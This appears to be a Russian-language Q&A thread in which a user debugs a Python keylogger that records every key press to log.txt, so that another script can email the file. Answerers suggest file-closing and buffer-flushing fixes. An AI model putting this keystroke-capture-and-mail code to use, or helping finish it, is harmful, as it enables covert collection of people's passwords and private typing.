Как я могу сохранить его, чтобы сценарий электронной почты мог его прочитать/отправить?

Я хочу отправить log.txt по электронной почте. Электронная часть работает, но этот регистратор не сохраняет файл. Сохраняет только при выходе. Так что пишет и пишет. Я вставлял f.write после каждого нажатия клавиши, но это не сработало.

Если бы вы могли помочь, я был бы признателен.

Вопрос в том, как я могу сохранить его, чтобы сценарий электронной почты мог его прочитать/отправить?

Код:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

person iroL    schedule 25.10.2018    source источник


Ответы (2)


Попробуйте закрыть текстовый файл после того, как что-то будет записано в файл

f.close()

Также я бы предложил открыть его с помощью a+, чтобы добавить файл

Что-то вроде этого:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()
person SPYBUG96    schedule 25.10.2018
comment
Ну все равно не работает. def on_press(key): logging.info(str(key)) f.close() with Listener(on_press=on_press) as listener: listener.join() Он пишет в файл во время работы, но не закрывает его, я думаю. По-прежнему ничего не отправляет с вложением. - person iroL; 25.10.2018
comment
@iroL Если вы закроете файл, вам нужно будет снова открыть его. - person SPYBUG96; 25.10.2018
comment
def on_press(key): logging.info(str(key)) f.close() open('log.txt', 'a+') Вот так? - person iroL; 25.10.2018
comment
@iroL Я отредактировал свой ответ, чтобы показать, что, по моему мнению, может сработать. Дайте мне знать, если это произойдет! - person SPYBUG96; 25.10.2018
comment
Это не сработает так. UnboundLocalError: local variable 'f' referenced before assignment - person iroL; 25.10.2018

Вам нужно очистить буфер. Пытаться

logging.getLogger().handlers[0].flush()

После каждой записи.

person Andrei Cioara    schedule 25.10.2018
comment
def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() with Listener(on_press=on_press) as listener: listener.join() все еще почему-то не работает, хм. Я попытался снова открыть его: f = open('log.txt', 'a+') def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() f.close() f with Listener(on_press=on_press) as listener: listener.join() все еще не работает - person iroL; 25.10.2018